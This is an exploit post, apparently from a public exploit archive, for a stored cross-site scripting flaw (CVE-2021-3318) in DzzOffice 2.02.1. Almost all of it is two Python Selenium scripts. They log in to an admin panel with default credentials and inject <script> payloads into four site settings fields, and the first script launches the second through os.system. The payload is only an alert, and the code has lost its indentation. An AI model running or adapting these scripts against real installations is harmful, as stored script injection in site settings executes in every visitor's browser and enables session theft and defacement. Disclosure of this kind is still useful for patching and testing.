# Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r
# Date: 04.23.2021
# Vendor: http://www.dzzoffice.com/
# Link: https://github.com/zyx0814/dzzoffice
# CVE: CVE-2021-3318

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3318

from selenium import webdriver
import time
import os


#enter the link to the website you want to automate login.
website_link="http://localhost/dzzoffice/user.php?mod=login"

#enter your login username
username="admin@dzzoffice.com"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="email"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="loginsubmit"

# Dai brauzura aaa ta eba
browser = webdriver.Chrome() #uncomment this line,for chrome users

# Otvarai da ne vlazam s kasata
browser.get((website_link))

# Run...
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)

### Login
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

### Exploit
#time.sleep(3)
element_for_natrutvanie="admin_password"
laina="http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket"
browser.get((laina))

### Next level... :)
os.system("python poc_login_1.py")

print("payload is deployed_0...\n")
except Exception:

#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

### os.system

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3318

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/dzzoffice/admin.php?mod=setting"

#enter your login username
username="admin@dzzoffice.com"

#enter your login password
password="password"


#enter the element for username input field
element_for_username="admin_email"

#enter the element for password input field
element_for_password="admin_password"

#enter the element for submit button
element_for_submit="submit"

# Dai brauzura aaa ta eba
browser = webdriver.Chrome() #uncomment this line,for chrome users

# Otvarai da ne vlazam s kasata
browser.get((website_link))

# Run...
try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)

### Login
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

### Exploit
time.sleep(3)
element_for_natrutvanie="settingsubmit"
laina="http://localhost/dzzoffice/admin.php?mod=setting"
browser.get((laina))

### Inner text...
browser.execute_script("document.querySelector('[name=\"settingnew[metakeywords]\"]').value
= '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[sitebeian]\"]').value
= '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[metadescription]\"]').value
= '<script>alert(\"nu11secur1ty_is_here\");</script>'")
browser.execute_script("document.querySelector('[name=\"settingnew[statcode]\"]').value
= '<script>alert(\"nu11secur1ty_is_here\");</script>'")

time.sleep(5)

# Submit exploit
signInButton = browser.find_element_by_name(element_for_natrutvanie)
signInButton.click()

print("payload is deployed_1...\n")
except Exception:

#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


---------------------------------

# Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1
# Date: 04.23.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty, g3ck0dr1v3r
# Vendor Homepage: http://www.dzzoffice.com/
# Software Link: https://github.com/zyx0814/dzzoffice

# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3318